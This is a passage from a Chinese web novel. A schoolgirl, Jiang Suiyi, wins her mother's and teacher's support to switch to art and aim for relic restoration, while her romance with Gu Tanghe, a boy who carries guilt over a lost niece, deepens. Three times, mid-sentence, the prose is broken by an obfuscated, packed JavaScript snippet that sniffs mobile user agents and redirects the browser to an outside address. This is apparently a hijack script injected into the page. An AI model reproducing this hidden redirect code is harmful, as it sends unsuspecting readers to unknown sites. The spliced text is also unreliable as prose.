过去她总想着要把最好的都给江随意,其实也抱有一定的私心。那些未完成的梦,没看过的世界,她希望江随意可以替她实现。 这些年她辗转在世界各地,曾经心之向往的地方于她而言已没有那么重要。遗憾会有,但没有必要强加在孩子身上。 叶桐太清楚被迫放弃的滋味。 所以后来由她自己所做的决定,或许在其他人眼里是放弃,但对她来说却也是另一种可能。 而现在,她的孩子,也正在尝试属于她的另一种可能。 那一刻,横在心头许久的巨石,“轰隆”一声,彻底滚落深渊。 江随意用力回握了一下妈妈的手,千言万语堵在喉咙口,最终只化作一个重重的点头,鼻尖又有些发酸。 夜更深了。 窗外的灯光似乎也稀疏了些,书房里只剩下鼠标偶尔点击的轻响和两人平稳的呼吸声。 江随意抱着膝盖蜷在书房的沙发上,和叶桐讲述第一次修复木雕时的感觉。 想了一会儿,她拿出手机打开那张照片。 照片里的人靠得很近。 金橘色的夕阳从窗外朝里打下,照在他们身上,周身似乎镀了一层朦胧的光。 似乎是怕妈妈误会,她急忙解释着:“我没占他便宜,就是当时他说自己修不好,我没多想,就带着他一块。” “手握手好控制一点......” 越解释越没底气。 江随意也不知道自己在心虚个什么,明明当时她确实只想教顾橖河。 叶桐挑了下眉说:“确实长得好看。” 她也没想到自家的小朋友会是主动的那一个。 江随意的脸瞬间又红了起来。 叶桐再看看她。 主动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853181|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但又害羞。 “你自己把握吧。只要别影响自己,也不要影响到人家就行。”虽然从照片上看,那男生也没有不情愿。 墙上钟表的时针无声地滑过了一个数字。 叶桐揉揉她的头说:“行了,时间也不早了,先回房间休息吧。这些资料你带回去慢慢看,有想法了随时跟我说。” 她开始整理散落在桌面上的几份打印文件,动作利落,连同U盘一并放进一个文件袋里。 江随意“嗯”了一声,把东西收着,却没有立刻起身。 她看着叶桐在灯光下显得格外清晰的侧脸轮廓,原本哭过的眼睛此刻有些干涩,心口却像被温热的泉水浸泡着,暖融融的,卸下了所有重担后的轻松感弥漫开来。 叶桐把桌面收拾好,抬起头,正好捕捉到女儿欲言又止的神情。 她没有问,只是走到江随意身边,顺手替她把一缕滑落的头发别到耳后,然后捏了捏她的耳垂。 叶桐温柔道:“乖乖,先去睡吧。有什么话,我们明天再慢慢说,不急的。” “好。” “妈妈晚安。” “晚安。” 回房间后,江随意翻来覆去还是睡不着。 她起身从架子上拿下一套练习册,说不上是开心还是怎么了,总之心里太乱,那道几何题怎么也算不出来。 江随意的视线落在一旁的文件袋里,带着一种跃跃欲试的激动打开它。 “紧张什么,又不是考上了的通知书。” 她小声嘟囔着,却依然掩盖不住今晚的兴奋。 纸质资料摊开在桌上,U盘里的文件夹在电脑上展开。不同的机构,具体专业方向又有所不同。 密密麻麻的时间格子从周一排到周日,清早的石膏几何体速写,下午的陶瓷工艺理论,晚上的古陶瓷断代与鉴赏......强度远超她的想象。 鼠标滚轮继续向下滑动,一张张学员作品跳了出来。 残破的陶俑在泥土色的填补和精细的笔触下重现神采。 江随意的目光久久停留在那张修复前后的对比图上,破碎与完整的强烈冲击,让她仿佛又嗅到了在徽州文物修复中心里那股矿物颜料的独特气味。 屏幕右下角的时间跳动,提醒她该睡觉了。她深吸一口气,将U盘拔下,把那些资料重新整理好收起来。 在回到床上前,江随意又重新把那道题目做了一遍。 其实几何题并不一定要在限定的象限里才能找到答案。 知道江随和现在看不到消息,但江随意还是连续发了好多。 【一条大江:哥哥哥哥哥咯咯咯咯咯咯哒】 【一条大江:我准备学美术了江随和同学】 【一条大江:我今天和妈妈聊了许多,好久没有这样和妈妈待在一块了。】 【一条大江:阿和阿和,呼叫阿和同学,收到请回复~】 【一条大江:小猫打滚.jpg】 ...... 【一条大江:晚安哥哥】 手机息屏放到床头柜上,江随意闭了几秒眼睛又从床上爬起来。 一条好友申请的消息发送过去,她才放下手机心满意足睡去。 没多久,暗掉的屏幕忽然亮了一下。 33. 前路清(2) 顾橖河看到江随意的好友申请时,几乎是立刻点了通过。他点开对方的朋友圈,背景图是半个鲜红的西瓜,动态却仅三天可见。 他不是没想过主动添加江随意。 只是一直在等。 其实早在很久以前,他或许就已经开始喜欢江随意了。 在她还不知道他的时候。 好友通过了,但对话框始终没有消息发来。顾橖河想,她大概是睡下了。他盯着屏幕,手指在键盘上犹豫地敲打了几下又删去,最后只发送了两个字: 【Q:晚安】 他点开手机里的隐藏相册。 里面的照片不多,却全是江随意,大多是她在领奖台上的样子。 除了那张从学校光荣榜上拍下的照片,还有一张,是他每次情绪不稳时必定会翻出来看的。 那是从江随和某个视频里截下的一帧画面,镜头只是在江随意身上一晃而过,但顾橖河一眼就认出了她。即便画面模糊,但江随意身上那种张扬的生命力和快意,依旧清晰地扑面而来。 这张照片,后来曾无数次将顾橖河从深渊边缘拉回。 其实在最开始,他也害怕过,逃避过。他无法接受亲人的离世,甚至以极端的方式来折磨自己。 更可笑的是,他曾怪过江随意。 可分明走神弄丢豆豆的人是他,却还要把责任推到毫不相关的人身上。 当在视频里看到她那样肆意地笑时,顾橖河是嫉妒的。嫉妒到想要把那份明媚撕碎,但残存的理智告诉他—— 错在自身,与其他人无关。 秦择舟带顾橖河看了很多医生。 他知道自己是病了。 每次看着那张模糊的照片,他心底总涌起一种强烈的想要将其占为己有的冲动。 顾橖河知道自己这个念头过于卑劣,却无力挣脱。 他答应过阿姐要好好活下去,也一直在努力。可每当夜幕降临,那些痛苦的场景就不受控制地在脑海里反复上演。 他就像溺水的人,迫切地希望有人能够拉他一把,让他像个正常人一样活下去。 顾橖河无数次告诉自己这样不对,却还是和秦择舟提出想要回来。只是没有想到,原来现在的江随意也并不快乐。 顾橖河的手指点在那张模糊的画面上,身体开始轻微颤抖。察觉到自己的异样,他迅速关上手机,闭上眼睛,强迫自己冷静下来。 许久,他低声骂了一句:“顾橖河,你真是有病。” “大晚上不睡觉,在这里骂自己做什么?” “啪”的一声轻响,灯光瞬间驱散了黑暗。 秦择舟斜倚在门口。 “你不会敲门吗?”顾橖河皱眉。 “敲了,半天没动静以为你睡了。”秦择舟走进来,“感觉要下雨了,我就进来看看你。” 顾橖河抿了抿唇:“下雨就下雨,我没事。” 秦择舟走近,仔细打量着他的脸色:“谢医生说你最近好多了,但看刚才那样子,可不像没事人。谁没事大半夜骂自己?” “说话就说话,凑那么近干什么?”顾橖河后退一步。 “你少打岔,”秦择舟放缓语气,试图让气氛轻松些,“是不是又胡思乱想了?阿橖,你骂自己没事,但别吓我,我这把年纪可经不起折腾了。” 他夸张地捂住胸口,假装要往书架上倒。 “将来还指望你给我养老送终呢,可别让我成孤寡老人啊。” 顾橖河配合着扶了他一把:“说得你好像已经七老八十了。” 秦择舟顺势站直:“那就赶紧休息吧,养好身体,将来给我送终。” “能不能别动不动就送终?”顾橖河没好气道,“少咒自己行不行?” 见顾橖河有力气回嘴,秦择舟笑了笑:“行,那不吵你了,我回去。” 他的手握在门把上,停顿片刻,最终还是转过身来:“下个月豆豆就要生日了......你还是不打算去看看她吗?” 顾橖河的身体瞬间僵住。他侧过身,垂下头,脸隐在阴影里,看不清表情。 秦择舟等了一会儿,又轻声说:“小丫头现在说话利索多了,样子也长开了,漂亮了不少。都说外甥像舅,确实和你很像。” 就在秦择舟准备再次转身离开时,他听见顾橖河低哑的声音传来:“你把礼物送过去吧,我就不去了。” 门锁轻轻落下。 门外,秦择舟叹了口气。 雨点终于落了下来,起初是试探性的敲打,很快就连成一片沉闷的沙沙声,覆盖了窗外的一切。 顾橖河把灯关掉,房间里再一次陷入黑暗。可这黑暗并不能带来安宁,反而成了滋生恐惧的温床。 他几乎是跌撞着躺下,拉高被子蒙住头,仿佛这样就能隔绝那个名字带来的所有联想。 然而,回忆如同藤蔓,在意识的缝隙里疯狂生长。 不是豆豆现在的模样。 是更小的时候,是出事前。 小丫头仰着头,肉乎乎的小手拉住他的裤脚,总是奶声奶气地喊:“橖橖,要抱抱。” 阳光透过树叶的缝隙洒在她毛茸茸的头发上,亮晶晶的眼睛里盛满了全然的信任和依赖。 好在她被找回来了。 可顾橖河始终没办法过自己心里那关,到现在他都不敢去见她。 这场雨下了一夜,到早上也没有停的迹象。灰蒙蒙的天空沉沉地压着,雨丝细密连绵,将周遭的一切全都笼罩在一片湿漉漉的寂静里。 江随意是被雨声吵醒的。 房间里的窗帘拉着,光线昏暗,只有窗外雨点敲打玻璃的声响。 她揉了揉眼睛,意识还有些迷糊,习惯性地伸手去摸床头柜上的手机。屏幕亮起,微弱的光映着她的脸。 微信图标上有个小小的红点。 她点开,心跳莫名漏跳了一拍。 【Q:晚安】 发送时间是昨晚,在她发出好友申请之后不久。 江随意盯着那两个字看了好几秒,嘴角不自觉地上扬,又觉得有点傻气,赶紧抿住。 她把手机按在胸口,仿佛这样就能压住那点不听话的雀跃。 窗外的雨声似乎也变得不那么沉闷了。 她飞快地发送了一个表情包。 【一条大江:小猫睡醒.jpg】 但想了想,又立马撤回。 又改成:“今天的雨还挺大的。” 还是觉得不合适。 最后,她也只回了两个字: 【一条大江:早呀~】 发送完毕,江随意立刻把手机塞到枕头底下,像是做了什么心虚的事。然后才掀开被子下床,穿着拖鞋走到窗边。 玻璃上凝结着细密的水珠,汇聚成一道道蜿蜒的水痕滑落。她伸手,指尖在玻璃上划过一道清晰的痕迹。 像是找到了有趣的事情,江随意擦掉那片水雾,又凑近些,朝着冰凉的玻璃轻轻哈了一口气,白雾瞬间弥漫开来。 她伸出食指,在那片小小的白雾上,认认真真地画了一个大大的笑脸。 看着玻璃上那个渐渐消失的笑脸,她小声嘀咕了一句:“今天看起来还挺冷的。” “意意,你醒了吗?”叶桐的声音伴随着轻轻的敲门声在门外响起。 “嗯,我起啦。”江随意迅速收回手,转身快步走过去把门打开,“妈妈早上好。” 叶桐的目光在她脸上停留片刻,敏锐地察觉到她眉眼间那点藏不住的喜悦,嘴角也微微扬起:“心情这么好?看来昨晚睡得不错?” 江随意点点头,没有解释自己那点小心思,只是问道:“妈妈你几点去公司?” 叶桐走进来,顺手帮她理了理睡得有些翘起的头发:“不急。下午我送你去学校,顺便和陈老师聊一下你的事情,了解一下具体情况和后续安排。” “还要睡吗?不睡的话就去收拾一下出来吃早餐。” “好。” 叶桐走后,被压在枕头底下的手机短暂地震动了一下。 江随意立刻把它掏了出来。 【Q:早】 只有一个字,连标点都吝啬。但江随意盯着那个字,嘴角的弧度却抑制不住地加深了。 “意意。”叶桐把早餐端到桌上,朝着里面又喊了一声。 “好,马上!”江随意扬声应道,手指在屏幕上悬停片刻。想问他昨晚睡得好不好?早上有没有像她一样被雨声吵醒?但最终,千言万语只化作一句。 【一条大江:上次你问我的事情,我想好了,下午回学校再和你讲。】 发送完毕,她飞快地把手机塞进睡衣口袋里,深吸一口气,然后去洗漱。 凉水泼在脸上,让她稍微平复了下心情。她捂着发烫的脸,用力揉了揉,自言自语道:“江随意啊江随意,你怎么回事,没事激动些什么。” 出来时,叶桐已经在餐桌旁等她。简单的一碗面,蒸腾着热气。 “等会儿吃完还有时间,你去把那些资料再看一下。”叶桐递给她一个剥好的水煮蛋。 “嗯,我昨晚其实翻了一下。”江随意接过鸡蛋,咬了一口,“妈妈,你真的要和陈老师聊吗?” 她心里其实已经有了答案,但还是忍不住确认。 叶桐点头,神色平静:“我听说你们学校也是有艺术班的,想先了解清楚情况,心里才有底。放心,只是沟通,我不干涉。”她顿了顿,看着江随意,“你昨天说已经在考虑几所学校了,等下跟我说说你的想法。” “无论选哪条路,开头都不容易。” 江随意点头:“我知道。”今天天冷,但她心里却像揣了个小小的暖炉。 窗外的雨势逐渐小了些,不再是那种连绵不绝的沙沙声,变成了断断续续的滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853182|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。天色依旧灰蒙,但厚重的云层边缘似乎透出了一丝微弱的亮光。 顾橖河昨晚又做了一场梦。 当凉水从头顶上冲刷下来,刺骨的凉意反而让他混沌的思绪清醒了几分。 他用毛巾擦着头从浴室里出来,手机屏幕停留在和江随意的对话框上。 【一条大江:早呀~】 顾橖河在想对方此刻可能在做的事情。收拾书包?吃早饭?或者在看着窗外这场没完没了的雨? 他点开输入框,但敲了几个字又删掉。 太刻意了,像没话找话。 最终,他只是锁上屏幕,将手机丢在一边。视线投向窗外,雨丝在玻璃上拉出长长的又扭曲的水痕。 外面传来秦择舟收拾东西准备出门的动静。过了一会儿,脚步声停在门外。 秦择舟的声音隔着门板传来:“阿橖,早饭在桌上,记得吃。我去趟老宅,中午回来。” “知道了。”顾橖河应了一声,声音有些闷。 门外安静了几秒,脚步声才渐渐远去。 房间重新陷入安静,只剩下窗外单调的雨声。顾橖河在原地站了好一会儿才缓缓转身。 目光扫过书桌上摊开的习题册,旁边放着一个尚未拆封的礼品盒,上面系着浅蓝色的丝带。 他走过去,手在礼品盒表面停顿了一下,最终没有触碰。他拉开椅子坐下,随手翻开习题册,拿起笔。 顾橖河努力将自己的注意力集中在眼前的数学题上。线条在眼前交错延伸,他尝试着去解构,去寻找那个逻辑的出口。 手机上再一次发来江随意的消息。 顾橖河重复一遍上面那句话,心里忽然平静下来。 江随意找到了自己想要的,而他也一样。 下午出门时,原本停了的雨又开始下了起来。 车子驶过湿漉漉的街道,车轮碾过积水,发出哗啦的声响。雨刮器有节奏地左右摇摆,刮开不断落下的雨幕。 车内很安静,江随意坐在副驾,侧头看着窗外被雨水冲刷得格外干净的街景。 道路两旁的树叶绿得发亮,行人们撑着各色的伞,是雨雾里移动地色彩。 叶桐:“在紧张吗?” 江随意回过神,摇摇头:“不是紧张。”她停了一下,补充道,“就是可能有点期待?” 叶桐的嘴角弯了弯:“期待是好事。”她打了转向灯,车子缓缓拐进通往南江中学的辅路,“有期待,才有动力往前走。” “到了。” 回校的路途似乎比往日短了许多,车子在校门口不远处的停车场停下。此时雨已经变成了细密的雨丝,飘飘洒洒,不撑伞也没有关系。 校门口穿着校服的学生们有的步履匆匆,也有三两结伴逗趣打闹,青春的气息连阴沉的雨天都无法掩盖。 江随意先是回寝室放东西,刚一进门,周望玥就拉着她问:“咋样了?你群里说和你妈妈聊......” 她话语一顿,注意到门口的人。 “阿姨好。” 周望玥愣了几秒,才举起手摆了一下和叶桐打招呼。 本来在各自床上收拾的程瑶和陈诺听见声音也抬起头来,惊讶地看向门外。 “阿姨好。” “你们好。”叶桐和气回道,然后把手上的水果递给江随意,“你们先聊,刚才陈老师说她已经在办公室了,我先去看看,别让人等了。” 江随意点头:“好,我等下就过去。” 等叶桐离开后,三个人迅速围上江随意。 “什么个情况,你在群里也没说你妈妈要来啊?”周望玥惦记着自己忘带回去的零食,所以提前来学校了,在床上躺了大半天,头发也还是乱的。 “完了,我在阿姨面前彻底没形象了。”她抓了抓打结的头发,“好几天没洗了,想着等下去洗,开始我新的一周。” 江随意把水果塞给她:“多大点事儿啊,要吃自己拿去洗。” 程瑶:“你妈妈来找陈老师,是要聊你转艺术生的事情吗?” 陈诺也问:“阿姨真同意你了啊?不搞竞赛了?” 江随意把书包放下来,然后说:“嗯,昨天和妈妈聊了很久。其实我自己的问题也很大,不过现在也算是讲开了。” “我还顺便跟我妈讲了一下顾橖河的事。”她面上没有多大的起伏,似乎只是随口提了一句。 “什么?”周望玥正拿着苹果要去洗,听见她这句话,手里差点没拿稳。 “我就说意意是来真的吧。”她把苹果放回袋子里,凑过来,“平时你也不和你妈聊什么,一上来就玩大的,又是退竞转艺考,还跟你妈妈讲你喜欢顾橖河?” 陈诺和程瑶也没有想到,江随意这一坦白把什么事都说了。 “你妈妈什么反应啊?” 江随意嗯了半天,才憋出一句:“我妈笑我。” 34. 等彩虹 叶桐坐在陈老师的办公桌旁,显然已经聊了好一会儿。 江随意敲门进去时,叶桐正微微颔首,而陈老师的脸上却带着惋惜的神情。 “妈,陈老师。”江随意轻声打招呼。 “来了。” 叶桐朝她招招手,示意她坐到旁边的空椅子上。 陈老师看了眼手头上的资料,目光温和地落在江随意身上,眼底那份惋惜之色更浓了些。 陈老师:“随意啊,刚才我和你妈妈也聊了挺多的。你的想法,你妈妈大致转达了。”她的指尖轻轻点了点桌面上摊开的一份资料,那是关于江随意高一至今各科成绩的分析单。 “你的文化课底子非常扎实,平时又努力,老师们都看在眼里。说实话,你如果继续保持下去,之后考顶尖大学的可能性非常大,学校和各位老师都非常看好你。” 陈老师身体微微前倾,语重心长:“艺考这条路,变数太多,竞争也激烈。以你现在的基础,完全有能力在文化课的赛道上跑得更远。当然老师不是反对你的兴趣爱好,只不过凭你的资质,就这么放弃文化生的优势,转向一个相对狭窄,要求又极其专业的赛道,是不是太冒险了?我们要不要再慎重考虑考虑?” 江随意安静地听着,她能感受到陈老师话语里的期望和不舍。这目光她也并不陌生,在决定退竞时,教练也曾流露出类似的眼神。 江随意放在膝盖上的手微微缩了一下,随即又松开。她抬起头,没有回避,直接迎上陈老师的目光,声音非常坚定:“陈老师,谢谢您和学校一直以来的看重和关心,这些我都明白。” 她深吸一口气,像是在确认自己心中的答案:“顶尖大学的光环确实很耀眼很吸引人,但那不是我真正想要的终点。” “我知道这条路难,变数多,可能最后也走不到最顶尖的位置。但是陈老师,”江随意的语气更加笃定,“如果不去试试,我会一直惦记,一直遗憾。这不是一时冲动,我想了很久,也跟我爸妈谈过了。他们都支持我。” 她说着,又看了一眼身旁的叶桐。 叶桐回以一个肯定的眼神。 “我想试试看。” 江随意再次看向陈老师,眼神清亮:“当然文化课我也不会落下,我之后会更努力的。” 一时之间,办公室里只剩下窗外淅淅沥沥的雨声。 良久,陈老师轻轻叹了口气,那份惋惜渐渐化作了理解与尊重。她拿起桌上的笔,在那份申请表上签下自己的名字。 “好,老师明白了。”她放下笔。 “既然你考虑清楚了,也征得了家长的同意,老师尊重你的选择。这份申请表我已经签好字了,连同你的意愿说明一起,我会尽快上报给学校。后续需要补充哪些材料,或者有什么安排,我再通知你。” “谢谢老师!” 叶桐也站起身,伸出手:“陈老师,麻烦您了。后续有什么需要家长配合的,您随时联系我。” “应该的。”陈老师与叶桐握了握手,又转向江随意,目光带着期许,“既然选择了,那就全力以赴。文化课千万不能松懈,这是你的底气。但是现在转艺术班可能会有点麻烦,到时候会有别的调整,我们再细说。” “好,我会的。” 从办公室里出来,走廊上带着湿气的凉意迎面扑来。 这雨停了又下,下了又停,此刻厚重的乌云正在慢慢地散开,天光透亮了许多。 叶桐停下脚步,替江随意理了理被书包带压住的衣领,动作温柔。 “好了,妈妈也该走了,晚一点公司那边还有个会。”她看着江随意,眼神里有些许欣慰,“该说的昨晚都说了,意意,妈妈希望你可以得到自己想要的。” “也很高兴,我们能有昨天那一场谈话。” “谢谢妈妈。”江随意心头一暖,伸手抱了抱叶桐,将脸埋在她肩头轻轻蹭了一下,“路上小心。” “在学校照顾好自己,有事情记得打电话。”叶桐拍拍她的背,松开她,转身朝着楼梯口走去。 江随意站在原地,目送妈妈的背影消失在楼梯转角。 困扰许久的问题终于尘埃落定,前路虽然未知,但目标清晰,内心是从未有过的踏实。 她深吸一口雨后清冽的空气,转身准备回教室。 刚走到自己教室所在的走廊边,她习惯性地往下望了一眼。楼下的空地上,一个熟悉的身影正不疾不徐地朝着教学楼走来。 是顾橖河。 江随意的嘴角下意识扬了起来。 心头的轻松和喜悦像涨潮的水,瞬间漫过了堤岸。 她伸出手挥着,朝着楼下那个身影,清脆地喊了一声: “顾橖河——” 楼下行走的身影停住。 顾橖河循声抬起头,视线落在三楼走廊边那个朝他招手的女孩身上。 就在他抬头的这一刹那—— “哇塞,你们快出来看,彩虹!是彩虹!”不知是哪个班的同学率先发现了天空的变化,惊喜地喊了出来。 各个教室的门被推开,大家全都涌到走廊边上,兴奋地仰头张望。 “好漂亮啊!” “好久没看见彩虹了,幸运要来临了吗?” “哇塞!这是双层的吗?你们看那边的颜色好深!” 江随意也被这突如其来的惊呼吸引,顺着众人的目光抬起了头。 只见那灰蓝色的天幕被彻底撕开,一道巨大而清晰的彩虹桥横跨天际。一端仿佛深深扎进远处黛青色的山峦里,另一端则探入林立的高楼之间。 雨后湿润的空气成了最好的幕布,阳光挣脱了乌云的束缚,穿透残留的水汽,毫无保留地倾泻下来,在虹桥周围晕染出柔和的光晕。 顾橖河依旧维持着仰头的姿势,但他的目光却并未在那绚烂夺目的彩虹上停留分毫。 他的视线,像被无形的线牵引着,牢牢地定格在江随意身上。 江随意微微仰着脸,忍不住轻声赞叹,刚才那飞扬的笑容还挂在嘴角,侧脸的线条在明亮的天光下显得更加柔和,增添了几分生动的明媚。 她整个人都像是在发光。 周围的一切喧嚣都在顾橖河的感知里退去,变得遥远而模糊。 唯有江随意。 他看不见那七色的彩虹,只看见她唇角上扬的弧度和那束将她整个人温柔包裹的阳光。 细微的电流无声地窜过心尖,带来一阵短暂的麻痹感。那感觉陌生又汹涌,瞬间冲开了心底某个角落的滞涩,让他几乎忘记了呼吸。 过了一会儿,江随意的视线从彩虹上收回,再次低头看向楼下,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863890|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好撞进了顾橖河那双专注的眼眸里。 江随意的心跳又快了几分。 脸上因彩虹而起的兴奋红晕尚未褪去,此刻又悄然加深了一层。 她再次朝他挥手,笑容里多了几分被注视的赧然,却依旧明亮。 他点点头,算是对她挥手的回应。随即垂下眼帘,掩去眸中所有翻涌的情绪,迈开脚步进了教学楼里。 江随意看着他消失的方向,挥动的手慢慢放了下来。 雨过天晴,连彩虹都来为她庆贺。 这明明是一个再好不过的开始。 江随意脚步轻快地朝着教室走去,到了门口她却没有进去。 周望玥也趴在走廊墙上看彩虹,转头瞧见江随意站在门口,朝她喊:“快来看彩虹啊,你站门口干嘛?” “我在......”江随意尾音拖长,楼梯拐角处正好上来一个人,她的眼睛亮了几分。 “我在等彩虹。” 周望玥有些摸不着头脑:“彩虹不是就在这里吗?” 江随意的声音并不大,但顾橖河似乎是听见了,在原地愣了几秒。 “下午好,顾橖河。” 几步距离,江随意就已经到了他的跟前。 眼见着江随意主动上前,周望玥回头看看天上的彩虹,又看看顾橖河。 “卧槽!” 这才是人家等的彩虹! 她立刻捂住自己的嘴,生怕自己没忍住再喊出什么来引起别人注意。 顾橖河喉咙上下一动,忽然有些紧张起来。 江随意奇怪地问:“你怎么了?” “没事。” 明明是正常的距离,可顾橖河的心脏依旧跳得厉害。 “你今天看起来心情很不错?” “嗯,当然。”江随意点点头,“我给你发的消息看见了吗?” “看见了。” “诶,要消失了,那我们回去......”戴眼镜的男生正要转身,被周望玥一巴掌又拍了回去。 “继续看啊,难得出彩虹了,多欣赏一会儿,下次就不知道是什么时候了。” 这小子可比她八卦多了,要让他瞧见,不到晚自习段长怕是就要来逮人了。 “喂,周望玥,我看我看还不行嘛,你抽什么风......”他被周望玥掐着后脖子仰头看彩虹,“都淡成什么了还看啊?” “话真多,再陶冶一下情操不行吗?” 旁边的同学也被他俩逗笑,压根没注意到楼梯旁的人。 “你上次问我......”江随意弯起眼睛,正要再说些什么,旁边周望玥夸张的声音又响了起来。 “哎呀,还真没了,那就都散了把,散了吧。”周望玥拍着戴眼镜男生的肩膀,声音刻意放大,眼睛却往江随意这边瞟,“走,回教室了,书还没背完呢。” 她推搡着几个还在意犹未尽张望的同学,像赶鸭子似的把他们都轰进了教室。自己却在进去前把头探出来,飞快地朝江随意挤了挤眼,用口型无声地说了句:“你们继续。” 走廊上瞬间安静了不少。 江随意原本没觉着有什么不对劲,但被周望玥那一眼看得脸颊微热,她清了清嗓子,转向顾橖河:“那个......快自习了,我们也先进去?” “好。” 35. 京州见 见江随意这么快就进来了,周望玥好奇地凑到她跟前,眼睛亮得惊人:“这么快就聊完了?不再多说几句吗?” “就打声招呼而已,还要聊什么?”江随意低头整理着笔袋里的东西。 “不是......”周望玥一顿,把声音又压下去,“不是说要等彩虹嘛?” “彩虹下去了呀,你不都进来了。”她答非所问,但手上却把几支笔排了又排,那点被周望玥戳破心思的窘迫悄悄爬上耳根,“好了,你赶紧坐下吧,等下就要周考,你东西都弄好了?” “得得得,说不过你们读书人。”周望玥的手托住脑袋撑在桌上,轻轻摇头:“啧啧,终究是感情淡了,亏我还这么努力为某些人争取时间。” “别闹。”江随意伸手轻轻掐住她的脸,故意凶道:“吃了我的水果就要做个哑巴。” “听到没?” 周望玥在嘴上做了个拉拉链的动作,然后在纸上写下:多谢皇后不杀之恩【火柴人磕头】 江随意被她逗笑:“我们白雪公主真乖。” 晚自习结束的铃声刚歇,周望玥三两下把书本扫进书包,拉链一扯,准备起身。 见江随意还在收拾:“干嘛呢,还不走?” 江随意看了眼桌上的东西,慢悠悠拿起来。 “我在整理啊。” “你这是准备挪窝嘛全带回寝室去?” 周望玥感到奇怪,然后往教室后排瞟了一眼,嘴角勾起一抹了然的笑,声音不大不小。 “哎,孩子终究是大了,心思也深了哦。” 江随意抬头,脸颊发烫,瞪了她一眼。 周望玥浑不在意,反而故意拔高了点音量:“我可得冲回去洗头洗澡了,先不等你了啊,慢慢收拾,不急。” 话音未落,她像灵活的鱼,迅速穿过人群,消失在教室门口。 教室里的人声渐渐少了。 江随意的动作更慢了,她磨蹭着,直到最后几个同学也勾肩搭背地离开,教室里只剩下后排隐约的窸窣声和她自己放大的心跳。 一转身,顾橖河就站在她课桌旁的过道上,身姿挺拔,顶灯的光落在他肩头。 “不是有话要说么?” 两栋教学楼连接的露天平台,白日里有不少人在这背书闲聊,此刻只剩下雨后潮湿的寂静。 底下篮球场亮着几盏大灯,时不时传来欢呼声。 夜风带着凉意和水汽拂过,栏杆上残留的雨滴映着灯光,像散落的星星。 两人走到墙边并肩站着,望向对岸的江河。 江随意酝酿了许久的话终于找到出口:“之前你问我有没有目标的大学,”她顿了顿,侧过头,迎上他看过来的目光,“我想好了,京州美院。” “京州美院?”顾橖河有些意外,但这惊讶只持续了一瞬。他很快反应过来,“是和文物修复相关的吗?” 江随意的眼睛睁大了些:“你怎么知道的?” 顾橖河浅浅一笑:“猜的。上次在徽州,看得出来你对那些很感兴趣。还有鱼灯夜游那晚,你不是也说过,好像找到一点想做的事情了。” “嗯。”她轻轻应了一声,仰着头看天空。夜色很浓,只有几颗特别亮的星星顽强地闪烁着。 “其实也谢谢你,不然我可能到现在还鼓不起勇气跟我妈说这些。” 江随意自嘲地笑了笑:“说出来才觉得,这本来就不是多大的事情,是我自己一直陷在里面,想不通,也走不出来,就跟钻进了死胡同一样。” “我哥和阿瑶或许早就察觉出我不对劲了,但我一直在逃避。”她声音低下去,“我好像很固执地把自己困在这里,自以为妈妈不会理解我,她为我铺好的路才是唯一正确的。可实际上......” 江随意抬起头,夜风吹动她额前的碎发。 “钥匙始终在我自己手里。” “是我自己,不敢去转动它。” 这番话,她未曾对哥哥和阿瑶说过。也许因为那是最亲近的人,在某种意义上,他们和妈妈一样。 只是相比起来,妈妈承载着她不愿辜负的期望与爱,反而成了另一种无形的压力。 而顾橖河不同。 他是对岸的风景。 思绪像被这夜风吹散,飘回更早的时光。初二那会儿,日子灰扑扑的,虽然有阿瑶她们陪着,但江随意依旧对什么都提不起劲,眼里只剩下学习这一件事。 当有人的分数靠近她,甚至偶尔会压过她时,一种本能的好胜心便被点燃。 江河县不大,即便是隔着一条江,那个名字却总能通过各种缝隙钻进她的耳朵。老师的赞扬、同学的议论,甚至贴吧里零星的讨论。 有时候倦怠了,不想刷题了,一想到对岸还有这么个人在,那股不服输的劲儿又冒上来,推着她去争那个榜首。 那些零散的碎片信息,虽然无法拼凑出一个完整的顾橖河,但依旧在她心里勾勒出一个模糊的影子。 江随意总以为对岸那个和她追逐的人,他们之间是相似的,直到比赛那天初次见面,又或者更早几个小时,在老教学楼的偶遇。 顾橖河和她想象中的样子截然不同。 让江随意念念不忘的“文物守护者”,是曾经在初中她无数次想要顶着‘叛逆’的名头做极端事时把她拉回来的人。也许最初真的只是为了争那一口气,但无形中,也确确实实拉住了摇摇欲坠的她。 阿瑶说得对,她别扭。 明明被那么多爱意包围着,可有些时候,就是那一念之差。也许在旁人看来是小题大做、无病呻吟,但对于十几岁的孩子来说,那就是一座翻不过的山,一片走不出的浓雾。 